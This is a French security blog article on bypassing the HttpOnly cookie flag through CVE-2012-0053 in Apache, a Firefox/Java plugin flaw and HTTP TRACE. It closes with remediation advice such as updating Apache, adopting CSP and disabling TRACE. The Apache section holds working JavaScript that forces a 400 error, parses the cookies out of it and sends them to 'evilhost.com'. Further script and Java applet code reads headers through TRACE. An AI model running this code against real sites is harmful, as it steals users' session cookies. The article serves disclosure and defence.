Comment contourner HttpOnly?

Avant d’entrer dans le vif du sujet, il est important de faire la différence entre un simple Cookie, et un HttpCookie car il s’agit de deux notions complétement différentes, un Cookie représente des données envoyés par un serveur web et stocké dans un fichier texte par le biais d’un navigateur web, il peut être aussi manipulé avec du code Javascript ou des entêtes HTTP contenus dans les réponses en provenance d’un serveur WEB.

Un cookie HttpOnly ou HttpCookie a la particularité d’être accessible seulement via HTTP(s), l’accès à cet élément est restreins à tous les non HTTP-APIs comme JavaScript. Les cookies HTTPOnly sont généralement utilisés pour conserver les informations d’authentification afin de protéger ces dernières contre les attaques XSS, cet article a pour but de vous montrer comment est ce possible de contourner cette protection, et aussi comment remédier à ce genre d’attaque.

Notions de bases

Syntaxe

Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]

Exemple 1:

Set-Cookie: wordpress_f8bee1a788233546681a64908c37c3a0=admin|134982|876946033fb3e2e16f2810d55945ddb4ce29; Expires=Wed, 09 Jun 2021 10:18:14 GMT; domain=www.mcherifi.org; path=/; Secure

Si on exécute le code

<script>alert(document.cookie)</script>

Le résultat affichera :

wordpress_f8bee1a788233546681a64908c37c3a0=admin|134982|876946033fb3e2e16f2810d55945ddb4ce29;

Exemple 2

Set-Cookie: wordpress_f8bee1a788233546681a64908c37c3a0=admin|134982|876946033fb3e2e16f2810d55945ddb4ce29; Expires=Wed, 09 Jun 2021 10:18:14 GMT; domain=www.mcherifi.org; path=/; Secure; HttpOnly

Maintenant si on ré-exécute le code

<script>alert(document.cookie)</script>

Le résultat sera une boite de dialogue affichant un message vide, en effet le flag HttpOnly rend les cookies inaccessibles par JavaScript. toute-fois, il est possible dans certains cas de contourner cette protection et extraire le contenu de ces cookies.

Apache httpOnly Cookie Disclosure (CVE: 2012-0053)

Les versions d’Apache entre 2.2.x et 2.2.21 sont vulnérables, en effet lorsqu’on envoie une requête HTTP mal formée, Apache retourne en en réponse un message d’erreur 400 (Bad Request), pour le bonheur des hackers, cette réponse contient les entêtes HTTP y compris les cookies ayant le flag HttpOnly.

La méthode la plus simple consiste à envoyer une requête avec une entête volumineuse qui dépasse la longueur autorisée par Apache:

// Set cookies
//
    for (i = 0; i < 10; i++) {
        if (good) {
            var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
        }
        // Set evil cookie
        else {
            var cookie = "xss"+i+"="+str+";path=/";
        }
        document.cookie = cookie;
    }

En revisitant le site en question, on verra bien une page d’erreur 400 (Bad Request) avec le contenu de tous les cookies, il suffit d’un bout de code javascript pour « parser » cette réponse et récupérer les informations, puis les envoyer à un serveur (comme dans le bon vieux temps), ci-dessous un exemple:

function parseCookies () {
        var cookie_dict = {};
        // Only react on 400 status
        if (xhr.readyState === 4 && xhr.status === 400) {
            // Replace newlines and match <pre> content
            var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
            if (content.length) {
                // Remove Cookie: prefix
                content = content[1].replace("Cookie: ", "");
                var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
                // Add cookies to object
                for (var i=0; i<cookies.length; i++) {
                    var s_c = cookies[i].split('=',2);
                    cookie_dict[s_c[0]] = s_c[1];
                }
            }
            // Unset malicious cookies
            setCookies(true);
            img = new Image();
            img.src= "http://evilhost.com/getcookie.php?c="+escape((JSON.stringify(cookie_dict)));
        }
    }
    // Make XHR request
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = parseCookies;
    xhr.open("GET", "/", true);
    xhr.send(null);

Et voilà le tour est joué, pour information, Twitter et d’autres géant utilisant Apache2 (ou l’une de ses variantes) étaient affectés par ce bug et l’ont corrigé récemment!

FireFox 8 et le plugin Java 7u1

Les navigateurs aussi n’ont pas échappé à cette problématique, cette fois-ci Firefox avec le plugins Java 7u1 qui ne filtre vérifie pas le flag httpOnly avant d’afficher le contenu des entêtes HTTP, ci-dessous une vidéo illustrant son exploitation.

La méthode HTTP Trace

TRACE’ est méthode pour envoyer des requetes HTTP, elle permet d’afficher en retour la réponse du serveur en plus de la requête envoyée initialement par l’utilisateur. Le risque réside dans le fait que la réponse contient également les entêtes HTTP (évidement avec les cookies HttpOnly), comme dans l’exemple précédant, il est possible d’utiliser du javascript ou un plugins (Java/Flash) pour exploiter cette faille, voici quelques exemples:

XMLHttpRequest (IE 6) et anciens navigateurs

function trace()
{

    var http_request = false;
    if (window.XMLHttpRequest)
        http_request = new XMLHttpRequest(); //Tout sauf IE else if (window.ActiveXObject)
        try {
            http_request = new ActiveXObject("Msxml2.XMLHTTP"); //IE > 6 } catch (e) {
            try {
                http_request = new ActiveXObject("Microsoft.XMLHTTP"); //IE <= 6 } catch (e) {} }
    if (http_request) {
        http_request.open("TRACE","/",false);
        http_request.send();
        alert(http_request.responseText); }

} 

Opera 9.64

function javacon(url)
{
 javaurl = new java.net.URL(url);
 conn = javaurl.openConnection();
 conn.setRequestMethod('TRACE');
 var response = '';
 input = conn.getInputStream();
 var lnr = new java.io.LineNumberReader(new java.io.InputStreamReader(input));
 while ((n = lnr.readLine()) != null) response += n + '\n ';
 return response;
}
 
alert(javacon(location.href));

Safari 4.0.3, en utilisant un applet Java

RequestProperty.java

import java.applet.*;
import java.net.*;
import java.io.*;

public class RequestProperty extends Applet 
{
 public void start() 
 {
  try {
       URL url = getCodeBase();
       HttpURLConnection conn = (HttpURLConnection) url.openConnection();
       InputStream inp;
       try {
            conn.getInputStream();    // method GET
           }
       catch (IOException ee)
           {
            conn.getErrorStream();
           }
       String cookie = conn.getRequestProperty("Cookie");
       getAppletContext().showDocument(new URL("javascript:alert('"+cookie+"');"));
      }
  catch (Exception e){}
 }
}
<applet code=RequestProperty.class width=1 height=1></applet>

Pourquoi c’est dangereux?

La faille en question (CVE: 2012-0053) permet de ré-exploiter les XSS pour d’obtenir les sessions authentification mais aussi en la combinant avec d’autres vecteurs d’attaques (XSRF, ClickJacking) l’attaquant peut pousser son attaque à un très haut niveau, Abysssec Security Research ont déjà réussi à exploiter les fonctionnalités d’administrateurs sur WordPress en combinant ClickJacking+CVE: 2012-0053, démo et vidéo dans cet article

Comment y remédier?

L’échange des cookies httpOnly se fait à plusieurs niveaux (navigateurs, serveurs web, réseaux), Il est clair qu’une sécurité totale n’existe pas, toute-fois il faut penser à prendre un minimum de mesures pour y remédier:

  • Coté Client: Mettez à jour vos navigateurs régulièrement ainsi que les plugins tiers (Java/Flash/etc..)
  • Coté Serveur: Mettre à jour son serveur apache à une version >= 2.2.22
  • Ne pas hésiter à implémenter CSP dans ses sites
  • Si la méthode TRACE est activée au niveau de votre serveur WEB, pensez à la désactiver, vous pouvez aussi le faire via un .htaccess:

    RewriteEngine On
    RewriteCond %{REQUEST_METHOD} ^TRACE
    RewriteRule .* – [F] » – www.yoursite.com

Voilà, cette liste n’est donc pas exhaustive, n’hésitez pas à partager vos méthodes pour outrepasser HttpOnly ;)